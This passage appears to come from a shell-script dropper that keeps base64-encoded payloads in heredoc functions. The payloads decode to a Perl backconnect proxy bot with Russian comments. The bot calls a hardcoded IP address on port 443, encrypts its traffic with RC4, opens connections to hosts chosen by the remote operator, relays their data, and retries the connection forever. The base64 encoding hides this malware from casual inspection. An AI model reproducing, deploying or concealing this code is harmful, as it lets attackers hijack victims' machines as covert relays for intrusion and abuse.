ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_28() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzgnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
